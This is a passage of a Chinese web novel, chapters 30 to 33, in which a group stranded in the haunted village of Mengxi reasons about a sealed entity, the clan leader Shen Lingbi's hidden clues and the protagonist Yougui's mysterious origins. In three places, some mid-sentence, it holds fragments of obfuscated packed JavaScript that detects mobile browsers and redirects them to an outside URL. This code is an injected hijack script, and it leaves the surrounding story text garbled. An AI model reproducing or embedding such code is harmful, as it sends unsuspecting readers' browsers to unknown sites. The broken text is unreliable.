还没等她们想清楚,有归已经幽幽道:“因为沈凌璧知道,在她之后会有其他人因为那个秘密来到这里。” 众人顿觉毛骨悚然。 孟溪村这样的布局,定居于此的第一代村民绝活不到寿终正寝,如果当时逃难的队伍里有小孩,这些孩子也很难活到成年,即使活到成年身体也会变得很差,不久就会夭亡。按理来说,在第一二代村民逝去后,孟溪村就此荒废,任它曾掩藏多么可怕的秘密,都只是风卷流云,随风而散了。 而且这里地处云国西南云雾山脉最深处,开发难度巨大,无论城市如何扩张,都不会开发到这里。哪怕有一二冒险者来到这里,也基本不会造成什么影响。 但有归她们所见,在两百年后的今天,孟溪村依然存在着。它不仅存在着,还将所有误入此地的人剥皮削骨,吞噬殆尽。 是隐藏在孟溪村身后的那个未知存在,它趴在孟溪村的身上吸尽了它的血,却又反过来庇佑孟溪村,免得这位宿主彻底消失。沈凌璧从一开始就知道,她做的安排不可能成功,她无法亲手杀死她的族人,她和她的族人只能被迫成为供养邪恶的血包。 她在孟溪村边上建造了小楼,以研究之名把那本《淮南阁子书》光明正大地藏在这里,所有进入孟溪村的人都会被安排到这里,在她们什么都没意识到之前,沈凌璧就将最大的利器送到人们手边,又送上了关于那个未知存在的情报。 孟溪村是一个笼罩在迷雾中的巨大迷局,沈凌璧在这个无解的谜局中硬生生开出一条路,她们一步一步按照她的想法走到这里。 她期待她们解决掉那个存在,让她的族人们得到最长久的安息。 但艾莉安不愿意相信这个事实:“你是说,沈凌璧早就知道我们会来到孟溪村?” 周嘉语想了想,纠正她的说法:“不是沈凌璧。” 见她望了过来,又补充道,“预言我们会来到孟溪村的不是沈凌璧,而是另有其人,这样才能解释为什么她明明拿到了这道雷唤之术,却只能坐以待毙,寄希望于后来人。” 雷唤之术是对付孟溪村背后秘密的关键,这是几人看到淮南阁子书上的内容就达成的共识,有归听到的那些信息更让她们坚信这件事。幕后黑手把她们送到这里来,让她们面对一个必不可能战胜的对手,肯定留有后手,不然费力把她们几个送来这里就为了看她们像蚂蚁一样被碾死逗乐吗? 这也太闲得慌了。 艾莉安怔了怔,睁大眼眸:“你是说有人在背后指点沈凌璧,这个人预见了我们的到来,也是它利用《珈登希露得》把我们骗到孟溪村?” “这怎么可能!”她心情很乱,也说不清楚自己是什么样的想法,那个害得她们有家不能回、终日担惊受怕的罪魁祸首或许是一个活了几千年的老怪物,这个可能带给她的冲击远比她们之前猜测的类似噩梦乐园一般的恐怖存在来得更大、更剧烈。 “真的有人能预见两百年后的事情吗?”艾莉安像是在提问,又像是在问自己。 这个问题没有人能够回答。不是无法回答,而是答案显而易见。 有归望着杯中漂浮的茶叶陷入了沉思。 她们从星历3873来到新历999年的孟溪村,明显是被人算计的,而她们来到这里之后的每一步,都像是被人设计好了一般。刚进村时老婆婆给她们的规则纸条,让她们从游戏的虚假中惊醒,认识到现实的残酷,主动探索小楼,发现柳笙的日记和那些纸条。到这里,她们对自身的处境有了明确认知,不再心存侥幸。 卢易斯和戴洪乐接连出事,她们认识到小楼中还存在未知的风险,发现《淮南阁子书》和雷唤之术,前者确定“失落历史的存在”,后者则可能是通关的关键。如果这真的是一个游戏,将孟溪村看作一条支线,那雷唤之术就是她们打败最终BOSS的关键技能。 纸条上的内容则促成了这次西山之行。因为好走的另一条路太远,所以有归选择了近路。而要从正面上到山顶,必须经过风蚀洞。经过前面大半程崎岖的山路,体力耗费过半,大多数人都会选择在那里休整,然后一鼓作气上山。只要人们在这里停留,发现匣子的机会就会变大——不,有归想到在风蚀洞时黎重的表现,大多数人根本不会发现那里藏了东西。 “周嘉语,如果你看到一个山洞——那种很浅的一眼就能望到低,没有什么新奇的东西,甚至连杂草都没有,只有满地黄土的山洞,你的第一反应是什么?” 周嘉语被她问的一头雾水,但还是答道:“转身就走?毕竟没什么好看的,留在哪里做什么。” 是,大多数人根本没有机会发现山洞里的匣子,因为她们在洞口张望一眼就会转身离开。 沈凌璧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16501422|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到底是广撒网最终捞到了她这条鱼,还是说从一开始她的目标就是她? 真的有人能一眼望到四千年后吗? 还是说沈凌璧背后的人与设计她穿越到此地的幕后黑手并不是同一个人? 有归把脸埋进被子里,脑海思绪纷杂。她完全无法得到确定的答案。情感上她并不想相信真的有人能够穿越千年,将目光投注在她的身上,但理智告诉她,这个已经近乎混乱的世界,发生什么都有可能,她自己不就是一个铁证吗。 周嘉语打断了她的思考:“你为什么会觉得那个洞里会藏着东西呢?” 黎重刚刚解释了两人在风蚀洞发现那个匣子的全经过,周嘉语听了,总觉得有什么地方不对劲。那里一定隐藏着什么讯息,别人可能会忽视,不,或许其他人根本就不要知道这个讯息,但有归却准确无误地接收到了,并且找到了藏在那里的匣子。 夜晚的孟溪村很静,窗外传来细微的风声,昏黄的灯光映照着有归松开的眉头,她抬起头来:“星星,那是星星坠落的地方。” 几人都愣住了,黎重反应过来:“是那片星星草?” 有归点头说:“是从前姐姐们给我讲的睡前故事,星星之所以坠落,是因为它是仙子送给人们的礼物,这是我和姐姐们的约定。对我来说,星星出现的地方,必然藏着什么东西。” 未来时代很少有人知道,引领时代前行的两位科学家LUO和YIN还有一个妹妹。 有归出现的时候,正值LUO和YIN漫长的中二期。这个时期的孩子总有一些奇奇怪怪的想法。明明是自己盼了很久的小妹妹,也很喜欢有归,但表达关心和爱意的方式却又有些别扭:她们会给有归讲睡前故事哄她睡觉,会天天领着小短腿的奶娃娃去玩,和她做那些幼稚的小游戏哄她开心,也会逗弄她说仙子不喜欢她所以没给她准备礼物,看她哭得惨兮兮的又后悔,一个抱起她温柔哄着,另一个赶紧跑去准备礼物。 小时候有归真的以为有这样一个仙子存在,尤其喜欢和星星有关的东西,对她来说,只要出现了星星,不管是什么,必定可以找到藏在附近的礼物。当时她们生活在噩梦乐园联合研究小组的中心研究楼,负责照看她们的科学家也坏,笑呵呵地看着LUO和YIN为了圆一个谎言不停打补丁,还特别热心地给有归科普那些名字有星的植物和物件,然后更乐呵地看着两人奔来跑去。 后来星星和仙子就变成了有归和姐姐们心照不宣的约定:在星星出现的地方,藏着我想告诉你的话和对你的爱护。后来这些东西,都被有归收到了专门的房间,配备了最复杂最权威的防盗系统,她不常去看,但有些记忆哪怕封存在最深处,但平日里的行为习惯总会带出来一些。 所以有归会注意到风蚀洞口的星星草,进而观察这里的环境,下意识地觉得这里藏着东西。但在其他人眼里,这只是一些杂草而已,到处都有,不足为奇。 30. 第 30 章 周嘉语只觉得不可思议,张了张嘴,半响吐出一句:“太可怕了。” 有归默默点头。 虽然她自己就不是个正常人,哦,应该可能大概也许就不是人,但想到一直有一双眼睛偷偷地窥视着自己,还是觉得不寒而栗。笃定一丛星星草就能让自己关注到洞顶藏着的匣子,对自己如此熟悉,这人也不知是窥探了多久。 不过有一件事倒是很确定,是此人看见了她经过风蚀洞,然后才有沈凌璧藏物于洞。 这不是什么预言,而是真切地看见,这个人不仅看见了现在发生的事情,还看见了更久之后才出现的她。那么,她究竟想告诉她什么呢?这场隔着四千年时光的对话,一边欲说还休不尽不实,另一边则是一头雾水。 是她不想直接给出答案吗? 不,是她做不到。 沈凌璧不直接动手了结自己的族人,反而改动孟溪村的风水,意图将他们困死在这里;那人藏在沈凌璧身后,给她《淮南阁子书》,给她雷唤之术,自己却不现身——她们都忌惮着隐藏在孟溪村背后的那个存在。她不是不想自己把事情全部了结在自己手中,不是不想给后人留下一个盛世太平,而是她压根无法做到。 既是能力有限,也是受制于人,有归她们现在能找到这些线索,都托赖她的布置,这大概也是她能做到的极限了。 再往里深想,孟溪村所在的云雾山深处,是在新历999年现代化的云国都人迹罕至的地方,在沈氏族人来此之前的云上帝国时期更是被视为瘴疠之地,若非万不得已,绝不会踏入此处。 就是这种不毛之地,不仅引得逃难至此的倾云城大族沈氏定居于此,甚至还有吸引一个深不可测能看透时间的高人,一个不知道啥玩意但厉害到让所有人都忌惮的存在。高人修炼,要找的是风轻水暖的宝地;魔物横行世间,要的是逍遥快活;人类避难,找的是土肥水美的居所——这种鸟不拉屎的地方绝对不会是首要选择。 有归说:“小说游戏里不是常有这样的情节吗——追踪妖物到荒郊野岭的修仙者发现自己无法彻底杀死它,为了阻止妖物为祸人间,拼尽全力将它重创封印。但封印总有一天会松动,妖物终会重获自由......” 几人都听懂了,黎重接着说了下去:“指点沈凌璧的那人就是当初的封印者,孟溪村背后的存在是被封印于此的妖物......”说着自己都倒吸了一口凉气,“那东西被封印了依旧可以活动,不,不能说是活动,它的本体被封印着,但精神依旧可以辐射出去,甚至还能控制人类为它所用。” 顺着这个思路理下去,很容易得出一个可怕的结论:“封印或许已经松动,它就要挣脱束缚,重获自由了。” “可是,”周嘉语对有归道,“你之前不是推断孟溪村背后的存在是类似于噩梦乐园的东西吗?”她想了想,完全无法想象噩梦乐园被人类收服封印的场景。如果这是真的,那人们为了噩梦乐园付出的代价又算什么呢? 面对周嘉语的质疑,有归沉默着,所有人的目光都注视着她,她沉默了很久,才开口道:“或许,这就是历史失落的真正原因。” 所有人都怔住了。 她们从来没有想过,所谓奇迹时代,真的就是属于人类的奇迹,而不是后世牵强附会的什么“创造了极其灿烂的文化,是弥瑞可大陆历史的文明顶峰”。 “以人类之躯挑战神明,比肩神明,战胜神明”也不是夸张的比喻,真的就是字面的意思。 “这种害人的东西也能称之为神?”周嘉语指了指地下。 有归想了想,说:“现在的神明是后来的定义,但谁也不知道那时候的人们眼中的神明是什么样的。去除掉人类的感情色彩,无论是孟溪村背后的存在,还是噩梦乐园,亦或是送我们到这里来的幕后黑手,祂们都是力量强大、冰冷无情的存在,又怎么不算是神明呢?” 这一说法颠覆了众人一贯以来的认知,在未来时代官方的宣传中,一向将噩梦乐园视为邪魔外道得而除之,而神明这一形象,在大众心中一直都是悲悯的、博爱的。如今有归将这两者混为一谈,给几人的冲击不亚于昨天刚发现整个游戏骗局的真面目的时候。 三观都被震碎了。 其他人还在拼凑自己的世界观和人生观,黎重已经反应过来,喃喃道:“所以这其实不是除魔卫道,而是弑神?” 有归想了想,说:“不,从人类的角度来说,这叫做救世。” 周嘉语也回过神来了:“所以现在是轮到我们来扮演这个救世主的角色了吗?” “大概是的。” 可怕的沉默一瞬间笼罩着小楼。 当所谓救世主的儿时梦想摆在眼前,其中的风险和压力也摆在眼前,有多少人会坚定地选择这条路呢?救世的梦想很伟大,相应的责任和重担也压得人喘不过气,这不是游戏,主角的光环无往不利,带领人们取得最终的胜利。这是一条鲜血淋漓的道路,死亡的阴影挥之不去,同行者的尸骨和血泪搭建的崎岖小路,谁也不知道它是不是那条正确的路,谁也不知道是不是真的有走到终点的那一天。 出师未捷而半道折戟的例子数不胜数,有一个正摆在众人面前:那位隐藏在沈凌璧背后的修仙者。 她应该很清楚那东西的能力的辐射范围,选的这个地方很不错,方圆几百里都是荒无人烟的深山。但世事无常,从倾云城内迁的沈氏一族深入这大山腹地,最终成为那东西的傀儡。当她看着自己拼上性命封印的魔物残害误入此地的沈氏族人时,当她看着那东西戕害无辜的路人时,她该有多无力多痛苦。 不用将自己代入那样的角色,有归都感到窒息般的难过。她不知道如果自己真的落到那般境地会怎样,在虚境中听到那一师一徒的对话后,她就有一种了然似的明悟:或许这才是她的命运,是她必须要走的道路。 而对黎重周嘉语她们,有归尊重她们的选择,内心则更希望她们能走一条更为安全平坦的路。她现在比任何时候都希望自己遇见的是一群自私鬼,永远将自己看得别人重要,毫不犹豫地转身就走,不为家国大义,不为理想信念,不为同伴袍泽,只是单单更看重自己的性命。 有归这样希冀着。 “其实比起什么救世主的角色, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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方才她低头并不是在犹豫是否要走上这条让她倍感压力、甚至想要逃避的道路,周嘉语很清楚,她们从一开始就毫无选择。当指针走到下午三点,那扇让人恐惧的青铜门出现在众人面前,来时路已经被黑暗侵吞,四周已被黑暗笼罩,她们求救无门,走投无路,只有进入门内。 她们别无选择,唯有向前。 眼前的道路已经明了,那么有归作为她们默认的领路人,周嘉语自然要对她加以审视。有归的能力毋庸置疑,但除此之外,她们对她一无所知,她偶尔流露出的一些东西,让周嘉语心惊的同时,又加重了对她的好奇 她们才认识一天,一天的时间显然无法让她们对彼此有足够深的了解,而现实也没有时间让她们慢慢交流。自然而然的相处不适合现状,那么就彼此交个底,建立最基本的信任。 有归抬头,周嘉语目光平静地看过来,让她久违地感受到了一种压力,那种姐姐对妹妹的天然压制。虽然年龄上有归是她们的祖宗,但周嘉语在她面前一直扮演的是姐姐之类年长者的角色,这也是她非常习惯的氛围,甚至可以说是如鱼得水。 现在一直很温柔对待她的大姐姐露出了另一面,有归隐隐有招架不住的趋势,小时候她调皮闯祸LUO和YIN要收拾她时就是这种表情。 “进村之初那个老人家拿出规则纸条是因为你,见到柳笙的是你,在风蚀洞发现木匣的还是你,那个人看见的也是你,所有的布置都是围绕着你进行的,为什么你会这么特殊,你到底是谁?” 31. 第 31 章 她到底是谁? 这个问题有归无法回答,不是羞于启齿难以开口,而是她自己也不知道答案。 她生于星历之前,正是人类刚刚战胜噩梦乐园、重建家园的时候。 噩梦乐园来时轰轰烈烈,去时则挥一挥衣袖,留下满地狼藉。有归大概可能也许就是噩梦乐园留下的“遗产”之一。 为了防范噩梦乐园之类的未知存在再次降临弥瑞可大陆,人类一直在研究秘密武器,部分保守派人士认为仅凭人类的血肉之躯无法与这样的神秘存在相抗衡,只有用魔法对抗魔法,才有可能取得成功。 因此,这些人设法获取随噩梦乐园降临的怪谈副本中的怪物躯体,鼓捣出了不少奇奇怪怪的东西,差点让弥瑞可大陆变成一片废土。有归不属于这些奇怪东西的行列,严格说来,她大概算是E307号实验唯一成功的实验体。 E307号实验从一开始就隐藏着重大隐患,负责此项实验的科学家严重低估了实验的难度,导致实验从一开始就注定失败,而慌乱之下使用的活性试剂,更刺激了E307号怪物体,让它重新生长与复苏。暴走的怪物摧毁了整个园区,在付出极其沉重的代价后,整个园区被封存了起来。 后来尚且年幼的LUO和YIN为了躲开大人,偷偷溜进这里,意外发现了园区中央哇哇大哭的婴儿。 这里可以出现任何穷尽人类想象的诡异存在,就是不应该出现一个人类女婴。后世未科院的前身、当时的噩梦乐园联合研究小组对她进行了最全面的检查,得出的结论是——这就是一个普通的人类小孩。 但这是最不正常的。 官方考虑到了各种情况,哪怕有归看上去就是一个人畜无害的人类女孩,也不敢有一丝一毫的放松。毕竟噩梦乐园的惨痛教训还在眼前,那些勇闯噩梦乐园的人类精英大多不是死在凶恶的对手手上,而是栽在那些不起眼的小东西·身上。前车之鉴太多,官方还针对有归成立了一个专门的小组,负责监测她的情况,必要的时候也会保护她的安全。 婴儿时期的有归开心会笑饿了会哭,也会像一般的人类幼崽那样模仿大人的行为,从蹒跚学步到长大,就像一个真正的人类一样。每年未科院都会对她进行一次全面体检,而检测的结果一直很稳定——和当年噩梦乐园联合研究小组得出的结论一样,她的身体数据与正常人类无异。 所有人都知道她不可能是一个正常人,但她依旧是人类。 她以人类的身份而活,以人类的身份长大,她就是人类。 直到17岁那年,一场异变颠覆了她的生活,让她的面容和身体数据永远停留在那一刻。 这些解释起来怪麻烦的,有归想了想,捡了一个可以说的身份说了:“我是未科院的研究员,专属ID就刻在你们现在使用的终端第一页第四行,后面还跟着我的名字。” 虽然她的身份高度保密,除了官方和未科院高层,鲜少有人知道她的存在,但因为生命足够漫长,早期的时候很活跃,在很多地方都待过,留下了非常多的痕迹,现在刚好拿来用。至于后面的解释,就等出去了再说,如果她们足够幸运的话。 那边周嘉语她们已经确认终端的开发者名单上的确有有归这么一号人,看向她的目光带着一种十分微妙的情绪,有归坦然地回望过去,“其他的我不便多说,如果我们有机会离开这里,会有人向你们解释的。” 她那张经年不变的包子脸严肃起来,认真地询问几人,“你们决定好了吗?” 她将现状剖析清楚:“昨天我就说过,这里不是游戏,而是现实世界。我们现在是在新历999年孟溪村。三年前,也就是新历996年,一对年轻的情侣来到这里,最终的结果是女方变成幽魂,男方变成了怪物,永远留在这里。自那以后,就常有人误入孟溪村,那些人大概是和我们一样身份,但他们最后都消失了,我们在小楼中找到的那几张纸条是他们留下的唯一痕迹。” “而这,也很有可能是我们的结局。”有归平静地叙述着。 “现在,你们有两个选择:待在小楼中,努力学习雷唤之术,在有足够的自保能力之前,都不要离开这里。”村长老头在楼外鬼气森森的,进入楼内看着就正常多了,小楼恐怕是沈凌璧设置的安全区域。或许还有那个预知者的手笔。只是不知道这里到底能撑多久,只能赌一把了。 “或者,和我一起走出小楼,努力寻找线索,找到彻底解决那东西的方法。” “如果你们选择第二个,会遭遇什么无法预料。平静的白天是孟溪村的伪装,一到夜晚,会遇到剥人皮的怪物,也会看到婴诡在房间里游荡,村民仿佛都消失了一样,我不知道他们是不是也变成了怪物。” “最重要的是,即使我们努力了,将那东西再次封印,我们可能也要永远留在这里,就像那个修仙者一样。” 黎重嗯了一声,“我们都待在这里,那你呢?你会怎么做?”这两个选择看上去就是一个等死,一个找死区别。说的这么郑重其事,不会就为了让她们死的好看一点儿,他觉得有归应该还有后手。 果然,有归笑起来,那双弯弯柔柔的眼睛看进了众人心里:“我的终端上搭载着一个微型的时空穿梭机器,虽然这东西还是第一版测试,性能极不稳定,不知道会把人送到哪里去。但在这种生死时刻,也没有条件挑剔这些了。”LUO就是乘坐着这个才刚刚创造出来的机器,驶入了茫茫乱流之中,从此再无音讯。 “可惜的是这里没有足够的能量,我无法启动机器带你们离开。”如果不是条件不允许,在发现这个世界的真面目之后,有归第一时间就把她们全部送走。 黎重静静地注视着有归,她既然提出这样的要求,那就说明她已经找到了全新的能源。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16511303|184660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“但刚才我发现可以利用的能源,雷唤之术上的雷霆之力,将那东西困死在这里的封印,还有它的力量,都可以转化成时空穿梭机所需的能量。这些力量足够强大,能量充沛,足以支撑你们完成多次时空旅行,我也会尽可能准确地把你们投放回未来时代。” 这些力量当然无法直接使用,需要转化为机器可以用的能量,而充当这个转换装置的就是有归自己。 周嘉文和艾莉安看向前方,发现黎重周嘉语静默似雕塑,完全没有她们想象的激动雀跃。两人对视一眼,都觉得奇怪,有归的提议当然不是尽善尽美,但比起死亡的终局,两人觉得能够离开这里就已经很好了。至于会被投放到别的地方,也不是不可以接受,而且她们完全可以想办法回到原来的世界,哪怕回不去,比起死亡的终局,也是可以接受的。 两人都没有说话。 自从来到这个世界,两人对自身的实力有了越发清醒的认识:或许在未来时代那样和平的环境里,她们还算是一个智商正常循规蹈矩的普通人,可以过上不错的生活。但在孟溪村这样奇诡的世界里,普通人是派不上用场的,好一点的苟到结局,差一点的成为炮灰。 在这里游刃有余的,是黎重和周嘉语,真正如鱼得水的只有有归一个人。 黎重周嘉语和有归的差距在哪两人并不清楚,但她们很明白自己和这三人之间的差距,在这样生死攸关的世界里,她们恐怕帮不上什么忙,但也会努力不拖后腿,不掉队。 怪异的气氛在小楼弥漫,两人看看这个看看哪个,正想着自己是不是最好说两句,周嘉语忽然冒出一句:“你就没有想过自己先离开吗?你可以把我们几个送走,也一定可以自己一个人走,为什么你要留下来呢?” 她思考了一会儿,给出了自己的答案:“我无法看着你们去送死,和我是什么身份无关,和我的能力有关。” “你们只是生活在未来城市的普通居民,被哄骗到这个世界,面临你们不该面对的危险,我自然应该帮助你们,让你们回到安全的地方去。” 周嘉语忽然发问:“你是怎么来到这里的?” 听到她这样说,黎重还好,周嘉文和艾莉安直接被问糊涂了。两人一会看看周嘉语,一会又看看有归,满心不解,大家不都是被游戏骗进来的吗? 只听周嘉语道:“你来到这里的方式应该和我们不一样吧?从遇到你开始你就一直躲在后面,其实不只是个性腼腆不爱说话,还是因为你怕暴露自己对这个游戏一无所知。” 见她已经猜到,有归也不隐瞒,直接把自己来到这里的经过和盘托出。 周嘉语一脸若有所思:“这么看来,倒是很有可能是针对你而设的局——所以你才要自己一个人去封印那东西是吗?如果你成功了,我们离开,你一个人留在这里;如果你失败了,我们会先被你送走,然后,你会死。” 32. 第 32 章 在有归说出那两个选项之后,周嘉语就明白,说是在等她们做出决定,她早就拿定了主意要把她们都送走。对第一个选择那样轻描淡写,只字不提其中的危险和她自己的作用,却对第二个选择面面俱到,极力描述将要面对的困难和挑战,让她们知难而退,乖乖在小楼中等待,等待她去送死,等待她用命换来那个生还的机会。 精心编制的语言陷阱被挑破,有归只是扬起笑脸说:“一个人去死和一群人组团送死还是有很明显的区别的。”最起码在她看来是有区别的,但很多时候,人类的感性会让她们无视这其中的区别。 她明了周嘉语的选择,就像中午在书房里发生的那样,那本《淮南阁子书》也是她第一个翻开,她说:“要死就死在一起。” 是,要死就死在一起。可明明约定好的,当死亡真正来临时,那一双双推在自己身上的手,终究无力地垂了下去。 骗子,都是骗子。 有归笑着笑着,眼眶忽然涌出了泪水,她狠狠地闭了闭眼睛,把那抹湿润压了回去。 她看向黎重,黎重点了点头。她又看向周嘉文和艾莉安,见两人神情懵懂,不由叹了口气:“那你们呢?” 周嘉文艾莉安很好安排,她甚至可以在两人都没有察觉到的时候就将她俩送走。但黎重和周嘉语是绝对不会听她的,如果她们不配合,她做的一切不过是无用功。 她只好妥协。 听到有归要送她们走,周嘉文和艾莉安对视一眼,齐齐摇头:“我们不走。” 周嘉语转头看着自己大哥:“哥,你就留在这里,有机会的话,你们两人先离开这里。” 周嘉文摇头道:“小语,身为兄长我不能保护妹妹已经很无能了,现在让我袖手旁观甚至丢下自己的亲妹妹和伙伴先逃,你觉得我会过得去心里那道坎吗?” “不是的,是......”她的话还没说完就被周嘉文打断了,“一样的小语,我知道我可能帮不上什么忙,但我依然想要留下。我想留在这里,无论结局是什么,我都能接受,死亡也好,发疯也罢,成为别人的玩具也可以,我们在一起还有个伴。” 老实人固执起来是真让人没招,她哥认定的事情九头牛的拉不回来,周嘉语也懒得费劲了。见她都放弃了,有归转向艾莉安,说:“你真的想好了?如果出了什么事,我不一定能顾得上你。” 艾莉安点头,很认真地说:“我明白的,我会对自己负责。” “那现在说回我们最开始的话题吧。既然沈凌璧知道我们的存在,并且可以提前预知我们的行动,那么她一定会将钥匙放在一个我们肯定会去的地方。”既然已经说开了,有归也不说别的废话,直奔主题,“排除了祠堂、小楼,另一个我们一定会去,并且打算明天就去的地方——孟溪村沈氏一族的祖坟地。沈凌璧很可能把钥匙藏在这里。” 她用手托着下巴,歪头看向众人:“你们觉得呢?” 几人都认同地点头,黎重说:“孟溪村在这里已经两百多年了,祖坟地应该是一个很大的墓园,我们也不知道沈凌璧具体把钥匙藏在什么地方,希望明天能有新的收获。” “云上帝国一直有往坟墓里放随葬品的习俗。”一向少话的周嘉文忽然开口,把众人的注意力都吸引了过去,只听他说,“帝国自古就有“视死如视生”的传统观念,古墓葬中的随葬器物多为墓主人生前喜欢的东西,如果钥匙真的藏在祖坟地,沈凌璧最有可能将它带进了自己的墓室里。” “村长也说过沈凌璧是在后来才选择在这里建造家族墓园,并且每年都要祭一回祖,因此形成定式流传下来。这不就是沈凌璧借后人之口暗示我们钥匙就藏在她自己的墓室中吗。” 说的是很有道理,但这个要怎么验证?难不成等到白天直接扛着锄头工具什么的去挖沈凌璧的墓,看看钥匙是不是真的在里面? 可恶,真的好心动,如果真的在里面找到钥匙,相当于手撕剧本,直通大结局,剩了中间多少弯弯绕绕。 话题进行到这里,有归也恢复的差不多了,不愿意继续在床上待着,大家也就顺势转移阵地到外面的书房。周嘉语先前还气势凌人,现在又变回了温柔大姐姐,直接伸手去扶有归。 怎么说呢,知道有归一个能打十好几个是一回事,但只要看着她那张脸,尤其是一双圆溜溜的大眼睛看着你时,明明没有任何做作的表达,就是觉得格外天真无辜,看得周嘉语声音都不自觉低八度,心肠更是软得一塌糊涂。 有归一向记吃不记打,眨了眨眼,很欢乐地把手搭过去。这俩的搭配也是绝了。 哪知道黎重横插一脚,仗着位置优势直接截胡,有归眼睛还看着周嘉语,人却已经被黎重带走了。她茫然地看看自己左手边的周嘉语,又看看右手边的黎重,哦,是姐姐和哥哥,那中间坐着的是小妹,也就是她自己,有归瞬间理解了,只觉得氛围久违的熟悉而安心。 周嘉语好气又好笑,转头见有归神情无比欢快,连声音都染上了一层快乐,只觉纳闷。 “我们明天去祖坟地先找一下有没有新的线索,至于其他,等后面再说。” 艾莉安觉得奇怪:“周嘉文刚才不是说钥匙就藏在沈凌璧的墓里,为什么我们不直接打开她的墓室看看呢?就算里面没有钥匙,也会有别的收获吧。” 有归正要解释,黎重已经开口:“事情不会这么简单。还记得今天中午村长邀请我们参加祭祖大典是怎么说的吗?再感念先人再重要的盛会两百年来每年一次从不间断,也太频繁了些,这已经不是简单的慎终追远悼念祖先可以解释的了。” “祖坟地和孟溪村之间或许存在着某种特殊的联系......”黎重说到这里停了下来,眉头皱起,神情若有所思,“也许,孟溪村是依托祖坟地存在的,频繁地祭拜实际上是为了加强这之间的某种联系。” 周嘉文艾莉安听得瞠目结舌,这是个什么发展,怎么会从不能挖沈凌璧的墓得出这样的结论的。而且不是沈凌璧率领族人先在此建村,很多年后才建的墓园吗,这因果关系是不是反了? 在正事上周嘉语和有归、黎重的脑电波倒是同频了,她转头对两人说道:“一般来说,祭祖这种大事办的越隆重越 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这种氛围下冷不丁冒出来这么一句,吓得艾莉安一哆嗦,整个人都要哭了。周嘉语屈指在有归头上轻轻敲了一下,后者委屈地看了她一眼,低着头抠桌子,“再有一个,就是孟溪村的村民们到底是什么东西。与邪魔共生并不代表他们就不是人类,但他们的言行举止又十分诡异。” “我们之前猜测婴诡只在夜晚出现,无差别攻击所有醒着的人。但在卢易斯发出尖叫之前,其实我就已经醒过来了,然而我见到的是柳笙。而且那时候卢易斯已经被名为魔那什的怪物附身,很难说清楚婴诡是被什么吸引而来。不过有一点是可以确认的,婴诡只在凌晨十二点后出现,至于它们的目标......” 说到这里,有归停了下来,对众人扬起纯洁无辜的笑脸,“各位,今晚我们一起熬个夜吧。” “我真的很好奇,入睡之后,村民们到底是什么模样?是人,还是怪物?为什么睡着以后就可以逃避婴诡的追杀?” 由那个木匣子引发的讨论发挥到这里,几乎都说尽了,关于孟溪村的风水问题几人也达成了共识,无需赘述。这就是归黎二人这趟西山之行的发现。 三人组这边打听到消息多且杂,周嘉语整理了一下思路,先说起的是和祖坟地有关的事:“事太多我一时间没想起来,但不去动祖坟地是正确的选择,只要我们敢动手,一定会出事。” 是沈三姑随口说的一句话:“你们明天要去祖坟地参观?老头请你们一起去祭祖了啊·,那是该先去看看,但记住只用耳朵听用眼睛看,别的什么都不要做。” “是沈村长留下来的祖训:后人勿动祖坟地。”沈村长就是沈凌璧。 周嘉语说:“我追问过沈三姑,她说真正的祖坟地其实只有最中心的那一圈坟墓,也就是第一代村民的墓穴。后来埋进去的村人在的地方都不算是祖坟地,只能称之为祖坟山,但因为叫习惯了就一直没改。” “至于沈凌璧为什么会留下这样的话,沈三姑也不知道,毕竟时间太久远了。她之所以记得这么清楚,是因为沈凌璧把这句话刻在祖坟山的石碑上了,上面好像还有孟溪村一路迁徙到这里的经历,明天我们去祖坟地可以注意一下这个石碑。” 有归眨巴了一下眼睛:“沈三姑识字?” 33. 第 33 章 周嘉语愣了一下,点头:“她识字,孟溪村的族谱好像就是她编写的,可惜不管我怎么磨她都不肯让我拿回来——有什么不对吗?” 有归摇了摇头,“就是觉得在这种落后封闭的地方应该不会有这么上进的人,不过也许是我太狭隘了。” 周嘉语嗯了一声,接着沈三姑的话题往下说了。 这回将她们请回家后,沈三姑态度和善了许多,很客气地泡了茶上来。新采的茶叶确实香,反正周嘉语是没喝过这么清醇的茶水。未来时代的蔬果全都是用药剂培育出来的,主打一个产量大用地少,不管你多有权多有钱,大家吃得都一个样,想追求什么野意原态的,没有。未来时代没有那么多土地让这些东西野生野长,吸收天地灵气。 那个傻姑娘小余一直挨着周嘉语,抓着她的一只手一遍遍地数她有几根手指。周嘉语摸摸她的脑袋,对沈三姑说:“小余一直都是这样吗?” “是,她两年多前发了次高烧,一直没有降下去。我们这里的条件你们也看到了,若真有个什么急病,根本来不及送医,只能自己硬抗。” 嗯,这难道就是所谓的小病不用看,大病自了断?周嘉语忍着腹诽,偷偷觑一眼沈三姑的神色,还是斟酌着问出了那个可能有些冒险的问题:“既然这么不方便,为什么不搬出去呢?现在云......国家发展的那么好,政策也好,你们刚出去可能会有些艰难,但熬过那段时间,慢慢熟悉外面的生活也就好了。” 听了她的话,沈三姑仔细打量着她,直看得她心里发毛,才悠悠笑道:“小姑娘,你们都是从城里来的吧?” 